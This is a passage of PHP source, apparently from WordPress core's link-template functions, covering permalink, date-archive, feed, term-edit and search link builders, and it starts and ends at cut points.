		case 'id':
		default:
			echo '<a id="post-' . $post->ID . '"></a>';
			break;
	}
}

/**
 * Determine whether post should always use a plain permalink structure.
 *
 * @since 5.7.0
 *
 * @param WP_Post|int|null $post   Optional. Post ID or post object. Defaults to global $post.
 * @param bool|null        $sample Optional. Whether to force consideration based on sample links.
 *                                 If omitted, a sample link is generated if a post object is passed
 *                                 with the filter property set to 'sample'.
 * @return bool Whether to use a plain permalink structure.
 */
function wp_force_plain_post_permalink( $post = null, $sample = null ) {
	if (
		null === $sample &&
		is_object( $post ) &&
		isset( $post->filter ) &&
		'sample' === $post->filter
	) {
		$sample = true;
	} else {
		$post   = get_post( $post );
		$sample = null !== $sample ? $sample : false;
	}

	if ( ! $post ) {
		return true;
	}

	$post_status_obj = get_post_status_object( get_post_status( $post ) );
	$post_type_obj   = get_post_type_object( get_post_type( $post ) );

	if ( ! $post_status_obj || ! $post_type_obj ) {
		return true;
	}

	if (
		// Publicly viewable links never have plain permalinks.
		is_post_status_viewable( $post_status_obj ) ||
		(
			// Private posts don't have plain permalinks if the user can read them.
			$post_status_obj->private &&
			current_user_can( 'read_post', $post->ID )
		) ||
		// Protected posts don't have plain links if getting a sample URL.
		( $post_status_obj->protected && $sample )
	) {
		return false;
	}

	return true;
}

/**
 * Retrieves the full permalink for the current post or post ID.
 *
 * This function is an alias for get_permalink().
 *
 * @since 3.9.0
 *
 * @see get_permalink()
 *
 * @param int|WP_Post $post      Optional. Post ID or post object. Default is the global `$post`.
 * @param bool        $leavename Optional. Whether to keep post name or page name. Default false.
 * @return string|false The permalink URL. False if the post does not exist.
 */
function get_the_permalink( $post = 0, $leavename = false ) {
	return get_permalink( $post, $leavename );
}

/**
 * Retrieves the full permalink for the current post or post ID.
 *
 * @since 1.0.0
 *
 * @param int|WP_Post $post      Optional. Post ID or post object. Default is the global `$post`.
 * @param bool        $leavename Optional. Whether to keep post name or page name. Default false.
 * @return string|false The permalink URL. False if the post does not exist.
 */
function get_permalink( $post = 0, $leavename = false ) {
	$rewritecode = array(
		'%year%',
		'%monthnum%',
		'%day%',
		'%hour%',
		'%minute%',
		'%second%',
		$leavename ? '' : '%postname%',
		'%post_id%',
		'%category%',
		'%author%',
		$leavename ? '' : '%pagename%',
	);

	if ( is_object( $post ) && isset( $post->filter ) && 'sample' === $post->filter ) {
		$sample = true;
	} else {
		$post   = get_post( $post );
		$sample = false;
	}

	if ( empty( $post->ID ) ) {
		return false;
	}

	if ( 'page' === $post->post_type ) {
		return get_page_link( $post, $leavename, $sample );
	} elseif ( 'attachment' === $post->post_type ) {
		return get_attachment_link( $post, $leavename );
	} elseif ( in_array( $post->post_type, get_post_types( array( '_builtin' => false ) ), true ) ) {
		return get_post_permalink( $post, $leavename, $sample );
	}

	$permalink = get_option( 'permalink_structure' );

	/**
	 * Filters the permalink structure for a post before token replacement occurs.
	 *
	 * Only applies to posts with post_type of 'post'.
	 *
	 * @since 3.0.0
	 *
	 * @param string  $permalink The site's permalink structure.
	 * @param WP_Post $post      The post in question.
	 * @param bool    $leavename Whether to keep the post name.
	 */
	$permalink = apply_filters( 'pre_post_link', $permalink, $post, $leavename );

	if (
		$permalink &&
		! wp_force_plain_post_permalink( $post )
	) {

		$category = '';
		if ( str_contains( $permalink, '%category%' ) ) {
			$cats = get_the_category( $post->ID );
			if ( $cats ) {
				$cats = wp_list_sort(
					$cats,
					array(
						'term_id' => 'ASC',
					)
				);

				/**
				 * Filters the category that gets used in the %category% permalink token.
				 *
				 * @since 3.5.0
				 *
				 * @param WP_Term  $cat  The category to use in the permalink.
				 * @param array    $cats Array of all categories (WP_Term objects) associated with the post.
				 * @param WP_Post  $post The post in question.
				 */
				$category_object = apply_filters( 'post_link_category', $cats[0], $cats, $post );

				$category_object = get_term( $category_object, 'category' );
				$category        = $category_object->slug;
				if ( $category_object->parent ) {
					$category = get_category_parents( $category_object->parent, false, '/', true ) . $category;
				}
			}
			/*
			 * Show default category in permalinks,
			 * without having to assign it explicitly.
			 */
			if ( empty( $category ) ) {
				$default_category = get_term( get_option( 'default_category' ), 'category' );
				if ( $default_category && ! is_wp_error( $default_category ) ) {
					$category = $default_category->slug;
				}
			}
		}

		$author = '';
		if ( str_contains( $permalink, '%author%' ) ) {
			$authordata = get_userdata( $post->post_author );
			$author     = $authordata->user_nicename;
		}

		/*
		 * This is not an API call because the permalink is based on the stored post_date value,
		 * which should be parsed as local time regardless of the default PHP timezone.
		 */
		$date = explode( ' ', str_replace( array( '-', ':' ), ' ', $post->post_date ) );

		$rewritereplace = array(
			$date[0],
			$date[1],
			$date[2],
			$date[3],
			$date[4],
			$date[5],
			$post->post_name,
			$post->ID,
			$category,
			$author,
			$post->post_name,
		);

		$permalink = home_url( str_replace( $rewritecode, $rewritereplace, $permalink ) );
		$permalink = user_trailingslashit( $permalink, 'single' );

	} else { // If they're not using the fancy permalink option.
		$permalink = home_url( '?p=' . $post->ID );
	}

	/**
	 * Filters the permalink for a post.
	 *
	 * Only applies to posts with post_type of 'post'.
	 *
	 * @since 1.5.0
	 *
	 * @param string  $permalink The post's permalink.
	 * @param WP_Post $post      The post in question.
	 * @param bool    $leavename Whether to keep the post name.
	 */
	return apply_filters( 'post_link', $permalink, $post, $leavename );
}

/**
 * Retrieves the permalink for a post of a custom post type.
 *
 * @since 3.0.0
 * @since 6.1.0 Returns false if the post does not exist.
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param int|WP_Post $post      Optional. Post ID or post object. Default is the global `$post`.
 * @param bool        $leavename Optional. Whether to keep post name. Default false.
 * @param bool        $sample    Optional. Is it a sample permalink. Default false.
 * @return string|false The post permalink URL. False if the post does not exist.
 */
function get_post_permalink( $post = 0, $leavename = false, $sample = false ) {
	global $wp_rewrite;

	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$post_link = $wp_rewrite->get_extra_permastruct( $post->post_type );

	$slug = $post->post_name;

	$force_plain_link = wp_force_plain_post_permalink( $post );

	$post_type = get_post_type_object( $post->post_type );

	if ( $post_type->hierarchical ) {
		$slug = get_page_uri( $post );
	}

	if ( ! empty( $post_link ) && ( ! $force_plain_link || $sample ) ) {
		if ( ! $leavename ) {
			$post_link = str_replace( "%$post->post_type%", $slug, $post_link );
		}
		$post_link = home_url( user_trailingslashit( $post_link ) );
	} else {
		if ( $post_type->query_var && ( isset( $post->post_status ) && ! $force_plain_link ) ) {
			$post_link = add_query_arg( $post_type->query_var, $slug, '' );
		} else {
			$post_link = add_query_arg(
				array(
					'post_type' => $post->post_type,
					'p'         => $post->ID,
				),
				''
			);
		}
		$post_link = home_url( $post_link );
	}

	/**
	 * Filters the permalink for a post of a custom post type.
	 *
	 * @since 3.0.0
	 *
	 * @param string  $post_link The post's permalink.
	 * @param WP_Post $post      The post in question.
	 * @param bool    $leavename Whether to keep the post name.
	 * @param bool    $sample    Is it a sample permalink.
	 */
	return apply_filters( 'post_type_link', $post_link, $post, $leavename, $sample );
}

/**
 * Retrieves the permalink for the current page or page ID.
 *
 * Respects page_on_front. Use this one.
 *
 * @since 1.5.0
 *
 * @param int|WP_Post $post      Optional. Post ID or object. Default uses the global `$post`.
 * @param bool        $leavename Optional. Whether to keep the page name. Default false.
 * @param bool        $sample    Optional. Whether it should be treated as a sample permalink.
 *                               Default false.
 * @return string The page permalink.
 */
function get_page_link( $post = 0, $leavename = false, $sample = false ) {
	$post = get_post( $post );

	if ( 'page' === get_option( 'show_on_front' ) && (int) get_option( 'page_on_front' ) === $post->ID ) {
		$link = home_url( '/' );
	} else {
		$link = _get_page_link( $post, $leavename, $sample );
	}

	/**
	 * Filters the permalink for a page.
	 *
	 * @since 1.5.0
	 *
	 * @param string $link    The page's permalink.
	 * @param int    $post_id The ID of the page.
	 * @param bool   $sample  Is it a sample permalink.
	 */
	return apply_filters( 'page_link', $link, $post->ID, $sample );
}

/**
 * Retrieves the page permalink.
 *
 * Ignores page_on_front. Internal use only.
 *
 * @since 2.1.0
 * @access private
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param int|WP_Post $post      Optional. Post ID or object. Default uses the global `$post`.
 * @param bool        $leavename Optional. Whether to keep the page name. Default false.
 * @param bool        $sample    Optional. Whether it should be treated as a sample permalink.
 *                               Default false.
 * @return string The page permalink.
 */
function _get_page_link( $post = 0, $leavename = false, $sample = false ) {
	global $wp_rewrite;

	$post = get_post( $post );

	$force_plain_link = wp_force_plain_post_permalink( $post );

	$link = $wp_rewrite->get_page_permastruct();

	if ( ! empty( $link ) && ( ( isset( $post->post_status ) && ! $force_plain_link ) || $sample ) ) {
		if ( ! $leavename ) {
			$link = str_replace( '%pagename%', get_page_uri( $post ), $link );
		}

		$link = home_url( $link );
		$link = user_trailingslashit( $link, 'page' );
	} else {
		$link = home_url( '?page_id=' . $post->ID );
	}

	/**
	 * Filters the permalink for a non-page_on_front page.
	 *
	 * @since 2.1.0
	 *
	 * @param string $link    The page's permalink.
	 * @param int    $post_id The ID of the page.
	 */
	return apply_filters( '_get_page_link', $link, $post->ID );
}

/**
 * Retrieves the permalink for an attachment.
 *
 * This can be used in the WordPress Loop or outside of it.
 *
 * @since 2.0.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param int|WP_Post $post      Optional. Post ID or object. Default uses the global `$post`.
 * @param bool        $leavename Optional. Whether to keep the page name. Default false.
 * @return string The attachment permalink.
 */
function get_attachment_link( $post = null, $leavename = false ) {
	global $wp_rewrite;

	$link = false;

	$post             = get_post( $post );
	$force_plain_link = wp_force_plain_post_permalink( $post );
	$parent_id        = $post->post_parent;
	$parent           = $parent_id ? get_post( $parent_id ) : false;
	$parent_valid     = true; // Default for no parent.
	if (
		$parent_id &&
		(
			$post->post_parent === $post->ID ||
			! $parent ||
			! is_post_type_viewable( get_post_type( $parent ) )
		)
	) {
		// Post is either its own parent or parent post unavailable.
		$parent_valid = false;
	}

	if ( $force_plain_link || ! $parent_valid ) {
		$link = false;
	} elseif ( $wp_rewrite->using_permalinks() && $parent ) {
		if ( 'page' === $parent->post_type ) {
			$parentlink = _get_page_link( $post->post_parent ); // Ignores page_on_front.
		} else {
			$parentlink = get_permalink( $post->post_parent );
		}

		if ( is_numeric( $post->post_name ) || str_contains( get_option( 'permalink_structure' ), '%category%' ) ) {
			$name = 'attachment/' . $post->post_name; // <permalink>/<int>/ is paged so we use the explicit attachment marker.
		} else {
			$name = $post->post_name;
		}

		if ( ! str_contains( $parentlink, '?' ) ) {
			$link = user_trailingslashit( trailingslashit( $parentlink ) . '%postname%' );
		}

		if ( ! $leavename ) {
			$link = str_replace( '%postname%', $name, $link );
		}
	} elseif ( $wp_rewrite->using_permalinks() && ! $leavename ) {
		$link = home_url( user_trailingslashit( $post->post_name ) );
	}

	if ( ! $link ) {
		$link = home_url( '/?attachment_id=' . $post->ID );
	}

	/**
	 * Filters the permalink for an attachment.
	 *
	 * @since 2.0.0
	 * @since 5.6.0 Providing an empty string will now disable
	 *              the view attachment page link on the media modal.
	 *
	 * @param string $link    The attachment's permalink.
	 * @param int    $post_id Attachment ID.
	 */
	return apply_filters( 'attachment_link', $link, $post->ID );
}

/**
 * Retrieves the permalink for the year archives.
 *
 * @since 1.5.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param int|false $year Integer of year. False for current year.
 * @return string The permalink for the specified year archive.
 */
function get_year_link( $year ) {
	global $wp_rewrite;
	if ( ! $year ) {
		$year = current_time( 'Y' );
	}
	$yearlink = $wp_rewrite->get_year_permastruct();
	if ( ! empty( $yearlink ) ) {
		$yearlink = str_replace( '%year%', $year, $yearlink );
		$yearlink = home_url( user_trailingslashit( $yearlink, 'year' ) );
	} else {
		$yearlink = home_url( '?m=' . $year );
	}

	/**
	 * Filters the year archive permalink.
	 *
	 * @since 1.5.0
	 *
	 * @param string $yearlink Permalink for the year archive.
	 * @param int    $year     Year for the archive.
	 */
	return apply_filters( 'year_link', $yearlink, $year );
}

/**
 * Retrieves the permalink for the month archives with year.
 *
 * @since 1.0.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param int|false $year  Integer of year. False for current year.
 * @param int|false $month Integer of month. False for current month.
 * @return string The permalink for the specified month and year archive.
 */
function get_month_link( $year, $month ) {
	global $wp_rewrite;
	if ( ! $year ) {
		$year = current_time( 'Y' );
	}
	if ( ! $month ) {
		$month = current_time( 'm' );
	}
	$monthlink = $wp_rewrite->get_month_permastruct();
	if ( ! empty( $monthlink ) ) {
		$monthlink = str_replace( '%year%', $year, $monthlink );
		$monthlink = str_replace( '%monthnum%', zeroise( (int) $month, 2 ), $monthlink );
		$monthlink = home_url( user_trailingslashit( $monthlink, 'month' ) );
	} else {
		$monthlink = home_url( '?m=' . $year . zeroise( $month, 2 ) );
	}

	/**
	 * Filters the month archive permalink.
	 *
	 * @since 1.5.0
	 *
	 * @param string $monthlink Permalink for the month archive.
	 * @param int    $year      Year for the archive.
	 * @param int    $month     The month for the archive.
	 */
	return apply_filters( 'month_link', $monthlink, $year, $month );
}

/**
 * Retrieves the permalink for the day archives with year and month.
 *
 * @since 1.0.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param int|false $year  Integer of year. False for current year.
 * @param int|false $month Integer of month. False for current month.
 * @param int|false $day   Integer of day. False for current day.
 * @return string The permalink for the specified day, month, and year archive.
 */
function get_day_link( $year, $month, $day ) {
	global $wp_rewrite;
	if ( ! $year ) {
		$year = current_time( 'Y' );
	}
	if ( ! $month ) {
		$month = current_time( 'm' );
	}
	if ( ! $day ) {
		$day = current_time( 'j' );
	}

	$daylink = $wp_rewrite->get_day_permastruct();
	if ( ! empty( $daylink ) ) {
		$daylink = str_replace( '%year%', $year, $daylink );
		$daylink = str_replace( '%monthnum%', zeroise( (int) $month, 2 ), $daylink );
		$daylink = str_replace( '%day%', zeroise( (int) $day, 2 ), $daylink );
		$daylink = home_url( user_trailingslashit( $daylink, 'day' ) );
	} else {
		$daylink = home_url( '?m=' . $year . zeroise( $month, 2 ) . zeroise( $day, 2 ) );
	}

	/**
	 * Filters the day archive permalink.
	 *
	 * @since 1.5.0
	 *
	 * @param string $daylink Permalink for the day archive.
	 * @param int    $year    Year for the archive.
	 * @param int    $month   Month for the archive.
	 * @param int    $day     The day for the archive.
	 */
	return apply_filters( 'day_link', $daylink, $year, $month, $day );
}

/**
 * Displays the permalink for the feed type.
 *
 * @since 3.0.0
 *
 * @param string $anchor The link's anchor text.
 * @param string $feed   Optional. Feed type. Possible values include 'rss2', 'atom'.
 *                       Default is the value of get_default_feed().
 */
function the_feed_link( $anchor, $feed = '' ) {
	$link = '<a href="' . esc_url( get_feed_link( $feed ) ) . '">' . $anchor . '</a>';

	/**
	 * Filters the feed link anchor tag.
	 *
	 * @since 3.0.0
	 *
	 * @param string $link The complete anchor tag for a feed link.
	 * @param string $feed The feed type. Possible values include 'rss2', 'atom',
	 *                     or an empty string for the default feed type.
	 */
	echo apply_filters( 'the_feed_link', $link, $feed );
}

/**
 * Retrieves the permalink for the feed type.
 *
 * @since 1.5.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
 *                     Default is the value of get_default_feed().
 * @return string The feed permalink.
 */
function get_feed_link( $feed = '' ) {
	global $wp_rewrite;

	$permalink = $wp_rewrite->get_feed_permastruct();

	if ( $permalink ) {
		if ( str_contains( $feed, 'comments_' ) ) {
			$feed      = str_replace( 'comments_', '', $feed );
			$permalink = $wp_rewrite->get_comment_feed_permastruct();
		}

		if ( get_default_feed() === $feed ) {
			$feed = '';
		}

		$permalink = str_replace( '%feed%', $feed, $permalink );
		$permalink = preg_replace( '#/+#', '/', "/$permalink" );
		$output    = home_url( user_trailingslashit( $permalink, 'feed' ) );
	} else {
		if ( empty( $feed ) ) {
			$feed = get_default_feed();
		}

		if ( str_contains( $feed, 'comments_' ) ) {
			$feed = str_replace( 'comments_', 'comments-', $feed );
		}

		$output = home_url( "?feed={$feed}" );
	}

	/**
	 * Filters the feed type permalink.
	 *
	 * @since 1.5.0
	 *
	 * @param string $output The feed permalink.
	 * @param string $feed   The feed type. Possible values include 'rss2', 'atom',
	 *                       or an empty string for the default feed type.
	 */
	return apply_filters( 'feed_link', $output, $feed );
}

/**
 * Retrieves the permalink for the post comments feed.
 *
 * @since 2.2.0
 *
 * @param int    $post_id Optional. Post ID. Default is the ID of the global `$post`.
 * @param string $feed    Optional. Feed type. Possible values include 'rss2', 'atom'.
 *                        Default is the value of get_default_feed().
 * @return string The permalink for the comments feed for the given post on success, empty string on failure.
 */
function get_post_comments_feed_link( $post_id = 0, $feed = '' ) {
	$post_id = absint( $post_id );

	if ( ! $post_id ) {
		$post_id = get_the_ID();
	}

	if ( empty( $feed ) ) {
		$feed = get_default_feed();
	}

	$post = get_post( $post_id );

	// Bail out if the post does not exist.
	if ( ! $post instanceof WP_Post ) {
		return '';
	}

	$unattached = 'attachment' === $post->post_type && 0 === (int) $post->post_parent;

	if ( get_option( 'permalink_structure' ) ) {
		if ( 'page' === get_option( 'show_on_front' ) && (int) get_option( 'page_on_front' ) === $post_id ) {
			$url = _get_page_link( $post_id );
		} else {
			$url = get_permalink( $post_id );
		}

		if ( $unattached ) {
			$url = home_url( '/feed/' );
			if ( get_default_feed() !== $feed ) {
				$url .= "$feed/";
			}
			$url = add_query_arg( 'attachment_id', $post_id, $url );
		} else {
			$url = trailingslashit( $url ) . 'feed';
			if ( get_default_feed() !== $feed ) {
				$url .= "/$feed";
			}
			$url = user_trailingslashit( $url, 'single_feed' );
		}
	} else {
		if ( $unattached ) {
			$url = add_query_arg(
				array(
					'feed'          => $feed,
					'attachment_id' => $post_id,
				),
				home_url( '/' )
			);
		} elseif ( 'page' === $post->post_type ) {
			$url = add_query_arg(
				array(
					'feed'    => $feed,
					'page_id' => $post_id,
				),
				home_url( '/' )
			);
		} else {
			$url = add_query_arg(
				array(
					'feed' => $feed,
					'p'    => $post_id,
				),
				home_url( '/' )
			);
		}
	}

	/**
	 * Filters the post comments feed permalink.
	 *
	 * @since 1.5.1
	 *
	 * @param string $url Post comments feed permalink.
	 */
	return apply_filters( 'post_comments_feed_link', $url );
}

/**
 * Displays the comment feed link for a post.
 *
 * Prints out the comment feed link for a post. Link text is placed in the
 * anchor. If no link text is specified, default text is used. If no post ID is
 * specified, the current post is used.
 *
 * @since 2.5.0
 *
 * @param string $link_text Optional. Descriptive link text. Default 'Comments Feed'.
 * @param int    $post_id   Optional. Post ID. Default is the ID of the global `$post`.
 * @param string $feed      Optional. Feed type. Possible values include 'rss2', 'atom'.
 *                          Default is the value of get_default_feed().
 */
function post_comments_feed_link( $link_text = '', $post_id = 0, $feed = '' ) {
	$url = get_post_comments_feed_link( $post_id, $feed );
	if ( empty( $link_text ) ) {
		$link_text = __( 'Comments Feed' );
	}

	$link = '<a href="' . esc_url( $url ) . '">' . $link_text . '</a>';
	/**
	 * Filters the post comment feed link anchor tag.
	 *
	 * @since 2.8.0
	 *
	 * @param string $link    The complete anchor tag for the comment feed link.
	 * @param int    $post_id Post ID.
	 * @param string $feed    The feed type. Possible values include 'rss2', 'atom',
	 *                        or an empty string for the default feed type.
	 */
	echo apply_filters( 'post_comments_feed_link_html', $link, $post_id, $feed );
}

/**
 * Retrieves the feed link for a given author.
 *
 * Returns a link to the feed for all posts by a given author. A specific feed
 * can be requested or left blank to get the default feed.
 *
 * @since 2.5.0
 *
 * @param int    $author_id Author ID.
 * @param string $feed      Optional. Feed type. Possible values include 'rss2', 'atom'.
 *                          Default is the value of get_default_feed().
 * @return string Link to the feed for the author specified by $author_id.
 */
function get_author_feed_link( $author_id, $feed = '' ) {
	$author_id           = (int) $author_id;
	$permalink_structure = get_option( 'permalink_structure' );

	if ( empty( $feed ) ) {
		$feed = get_default_feed();
	}

	if ( ! $permalink_structure ) {
		$link = home_url( "?feed=$feed&amp;author=" . $author_id );
	} else {
		$link = get_author_posts_url( $author_id );
		if ( get_default_feed() === $feed ) {
			$feed_link = 'feed';
		} else {
			$feed_link = "feed/$feed";
		}

		$link = trailingslashit( $link ) . user_trailingslashit( $feed_link, 'feed' );
	}

	/**
	 * Filters the feed link for a given author.
	 *
	 * @since 1.5.1
	 *
	 * @param string $link The author feed link.
	 * @param string $feed Feed type. Possible values include 'rss2', 'atom'.
	 */
	$link = apply_filters( 'author_feed_link', $link, $feed );

	return $link;
}

/**
 * Retrieves the feed link for a category.
 *
 * Returns a link to the feed for all posts in a given category. A specific feed
 * can be requested or left blank to get the default feed.
 *
 * @since 2.5.0
 *
 * @param int|WP_Term|object $cat  The ID or category object whose feed link will be retrieved.
 * @param string             $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
 *                                 Default is the value of get_default_feed().
 * @return string Link to the feed for the category specified by `$cat`.
 */
function get_category_feed_link( $cat, $feed = '' ) {
	return get_term_feed_link( $cat, 'category', $feed );
}

/**
 * Retrieves the feed link for a term.
 *
 * Returns a link to the feed for all posts in a given term. A specific feed
 * can be requested or left blank to get the default feed.
 *
 * @since 3.0.0
 *
 * @param int|WP_Term|object $term     The ID or term object whose feed link will be retrieved.
 * @param string             $taxonomy Optional. Taxonomy of `$term_id`.
 * @param string             $feed     Optional. Feed type. Possible values include 'rss2', 'atom'.
 *                                     Default is the value of get_default_feed().
 * @return string|false Link to the feed for the term specified by `$term` and `$taxonomy`.
 */
function get_term_feed_link( $term, $taxonomy = '', $feed = '' ) {
	if ( ! is_object( $term ) ) {
		$term = (int) $term;
	}

	$term = get_term( $term, $taxonomy );

	if ( empty( $term ) || is_wp_error( $term ) ) {
		return false;
	}

	$taxonomy = $term->taxonomy;

	if ( empty( $feed ) ) {
		$feed = get_default_feed();
	}

	$permalink_structure = get_option( 'permalink_structure' );

	if ( ! $permalink_structure ) {
		if ( 'category' === $taxonomy ) {
			$link = home_url( "?feed=$feed&amp;cat=$term->term_id" );
		} elseif ( 'post_tag' === $taxonomy ) {
			$link = home_url( "?feed=$feed&amp;tag=$term->slug" );
		} else {
			$t    = get_taxonomy( $taxonomy );
			$link = home_url( "?feed=$feed&amp;$t->query_var=$term->slug" );
		}
	} else {
		$link = get_term_link( $term, $term->taxonomy );
		if ( get_default_feed() === $feed ) {
			$feed_link = 'feed';
		} else {
			$feed_link = "feed/$feed";
		}

		$link = trailingslashit( $link ) . user_trailingslashit( $feed_link, 'feed' );
	}

	if ( 'category' === $taxonomy ) {
		/**
		 * Filters the category feed link.
		 *
		 * @since 1.5.1
		 *
		 * @param string $link The category feed link.
		 * @param string $feed Feed type. Possible values include 'rss2', 'atom'.
		 */
		$link = apply_filters( 'category_feed_link', $link, $feed );
	} elseif ( 'post_tag' === $taxonomy ) {
		/**
		 * Filters the post tag feed link.
		 *
		 * @since 2.3.0
		 *
		 * @param string $link The tag feed link.
		 * @param string $feed Feed type. Possible values include 'rss2', 'atom'.
		 */
		$link = apply_filters( 'tag_feed_link', $link, $feed );
	} else {
		/**
		 * Filters the feed link for a taxonomy other than 'category' or 'post_tag'.
		 *
		 * @since 3.0.0
		 *
		 * @param string $link     The taxonomy feed link.
		 * @param string $feed     Feed type. Possible values include 'rss2', 'atom'.
		 * @param string $taxonomy The taxonomy name.
		 */
		$link = apply_filters( 'taxonomy_feed_link', $link, $feed, $taxonomy );
	}

	return $link;
}

/**
 * Retrieves the permalink for a tag feed.
 *
 * @since 2.3.0
 *
 * @param int|WP_Term|object $tag  The ID or term object whose feed link will be retrieved.
 * @param string             $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
 *                                 Default is the value of get_default_feed().
 * @return string                  The feed permalink for the given tag.
 */
function get_tag_feed_link( $tag, $feed = '' ) {
	return get_term_feed_link( $tag, 'post_tag', $feed );
}

/**
 * Retrieves the edit link for a tag.
 *
 * @since 2.7.0
 *
 * @param int|WP_Term|object $tag      The ID or term object whose edit link will be retrieved.
 * @param string             $taxonomy Optional. Taxonomy slug. Default 'post_tag'.
 * @return string The edit tag link URL for the given tag.
 */
function get_edit_tag_link( $tag, $taxonomy = 'post_tag' ) {
	/**
	 * Filters the edit link for a tag (or term in another taxonomy).
	 *
	 * @since 2.7.0
	 *
	 * @param string $link The term edit link.
	 */
	return apply_filters( 'get_edit_tag_link', get_edit_term_link( $tag, $taxonomy ) );
}

/**
 * Displays or retrieves the edit link for a tag with formatting.
 *
 * @since 2.7.0
 *
 * @param string  $link   Optional. Anchor text. If empty, default is 'Edit This'. Default empty.
 * @param string  $before Optional. Display before edit link. Default empty.
 * @param string  $after  Optional. Display after edit link. Default empty.
 * @param WP_Term $tag    Optional. Term object. If null, the queried object will be inspected.
 *                        Default null.
 */
function edit_tag_link( $link = '', $before = '', $after = '', $tag = null ) {
	$link = edit_term_link( $link, '', '', $tag, false );

	/**
	 * Filters the anchor tag for the edit link for a tag (or term in another taxonomy).
	 *
	 * @since 2.7.0
	 *
	 * @param string $link The anchor tag for the edit link.
	 */
	echo $before . apply_filters( 'edit_tag_link', $link ) . $after;
}

/**
 * Retrieves the URL for editing a given term.
 *
 * @since 3.1.0
 * @since 4.5.0 The `$taxonomy` parameter was made optional.
 *
 * @param int|WP_Term|object $term        The ID or term object whose edit link will be retrieved.
 * @param string             $taxonomy    Optional. Taxonomy. Defaults to the taxonomy of the term identified
 *                                        by `$term`.
 * @param string             $object_type Optional. The object type. Used to highlight the proper post type
 *                                        menu on the linked page. Defaults to the first object_type associated
 *                                        with the taxonomy.
 * @return string|null The edit term link URL for the given term, or null on failure.
 */
function get_edit_term_link( $term, $taxonomy = '', $object_type = '' ) {
	$term = get_term( $term, $taxonomy );
	if ( ! $term || is_wp_error( $term ) ) {
		return;
	}

	$tax     = get_taxonomy( $term->taxonomy );
	$term_id = $term->term_id;
	if ( ! $tax || ! current_user_can( 'edit_term', $term_id ) ) {
		return;
	}

	$args = array(
		'taxonomy' => $tax->name,
		'tag_ID'   => $term_id,
	);

	if ( $object_type ) {
		$args['post_type'] = $object_type;
	} elseif ( ! empty( $tax->object_type ) ) {
		$args['post_type'] = reset( $tax->object_type );
	}

	if ( $tax->show_ui ) {
		$location = add_query_arg( $args, admin_url( 'term.php' ) );
	} else {
		$location = '';
	}

	/**
	 * Filters the edit link for a term.
	 *
	 * @since 3.1.0
	 *
	 * @param string $location    The edit link.
	 * @param int    $term_id     Term ID.
	 * @param string $taxonomy    Taxonomy name.
	 * @param string $object_type The object type.
	 */
	return apply_filters( 'get_edit_term_link', $location, $term_id, $taxonomy, $object_type );
}

/**
 * Displays or retrieves the edit term link with formatting.
 *
 * @since 3.1.0
 *
 * @param string           $link    Optional. Anchor text. If empty, default is 'Edit This'. Default empty.
 * @param string           $before  Optional. Display before edit link. Default empty.
 * @param string           $after   Optional. Display after edit link. Default empty.
 * @param int|WP_Term|null $term    Optional. Term ID or object. If null, the queried object will be inspected. Default null.
 * @param bool             $display Optional. Whether or not to echo the return. Default true.
 * @return string|void HTML content.
 */
function edit_term_link( $link = '', $before = '', $after = '', $term = null, $display = true ) {
	if ( is_null( $term ) ) {
		$term = get_queried_object();
	} else {
		$term = get_term( $term );
	}

	if ( ! $term ) {
		return;
	}

	$tax = get_taxonomy( $term->taxonomy );
	if ( ! current_user_can( 'edit_term', $term->term_id ) ) {
		return;
	}

	if ( empty( $link ) ) {
		$link = __( 'Edit This' );
	}

	$link = '<a href="' . get_edit_term_link( $term->term_id, $term->taxonomy ) . '">' . $link . '</a>';

	/**
	 * Filters the anchor tag for the edit link of a term.
	 *
	 * @since 3.1.0
	 *
	 * @param string $link    The anchor tag for the edit link.
	 * @param int    $term_id Term ID.
	 */
	$link = $before . apply_filters( 'edit_term_link', $link, $term->term_id ) . $after;

	if ( $display ) {
		echo $link;
	} else {
		return $link;
	}
}

/**
 * Retrieves the permalink for a search.
 *
 * @since 3.0.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string $query Optional. The query string to use. If empty the current query is used. Default empty.
 * @return string The search permalink.
 */
function get_search_link( $query = '' ) {
	global $wp_rewrite;

	if ( empty( $query ) ) {
		$search = get_search_query( false );
	} else {
		$search = stripslashes( $query );
	}

	$permastruct = $wp_rewrite->get_search_permastruct();

	if ( empty( $permastruct ) ) {
		$link = home_url( '?s=' . urlencode( $search ) );
	} else {
		$search = urlencode( $search );
		$search = str_replace( '%2F', '/', $search ); // %2F(/) is not valid within a URL, send it un-encoded.
		$link   = str_replace( '%search%', $search, $permastruct );
		$link   = home_url( user_trailingslashit( $link, 'search' ) );
	}

	/**
	 * Filters the search permalink.
	 *
	 * @since 3.0.0
	 *
	 * @param string $link   Search permalink.
	 * @param string $search The URL-encoded search term.
	 */
	return apply_filters( 'search_link', $link, $search );
}

/**
 * Retrieves the permalink for the search results feed.
 *
 * @since 2.5.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string $search_query Optional. Search query. Default empty.
 * @param string $feed         Optional. Feed type. Possible values include 'rss2', 'atom'.
 *                             Default is the value of get_default_feed().
 * @return string The search results feed permalink.
 */
function get_search_feed_link( $search_query = '', $feed = '' ) {
	global $wp_rewrite;
	$link = get_search_link( $search_query );

	if ( empty( $feed ) ) {
		$feed = get_default_feed();
	}

	$permastruct = $wp_rewrite->get_search_permastruct();

	if ( empty( $permastruct ) ) {
		$link = add_query_arg( 'feed', $feed, $link );
	} else {
		$link  = trailingslashit( $link );
		$link .= "feed/$feed/";
	}

	/**
	 * Filters the search feed link.
	 *
	 * @since 2.5.0
	 *
	 * @param string $link Search feed link.
	 * @param string $feed Feed type. Possible values include 'rss2', 'atom'.
	 * @param string $type The search type. One of 'posts' or 'comments'.
	 */
